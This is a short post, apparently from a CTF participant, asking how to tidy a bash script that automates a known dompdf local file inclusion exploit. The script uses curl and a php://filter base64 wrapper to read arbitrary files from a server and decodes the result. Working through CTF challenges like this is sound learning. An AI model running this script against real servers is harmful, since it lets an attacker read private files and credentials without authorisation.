During a CTF I encountered a dompdf LFI vulnerability, which is explained at exploitdb.
However when I executed that vulnerability it gave it to me in PDF form, and it was a pain to constantly (read, strip, and base64 decode) to read the contents of files. So I made a little bash script to do these things automatically.
I am happy with the result, but I thought there maybe was a way to resolve those double
sed into one Regex capture. It works because the
[( ... )] is unique in the resulting string.
#!/bin/bash if [ -z "$1" ] || [ -z "$2" ]; then echo "Usage ./read_dompdf [url_to_dompdf] [path/to/file]"; exit fi URL="$1/dompdf.php?input_file=php://filter/convert.base64-encode/resource=$2" echo `curl --silent $URL` | sed 's/.*\[(//' | sed 's/)\].*//' | base64 -d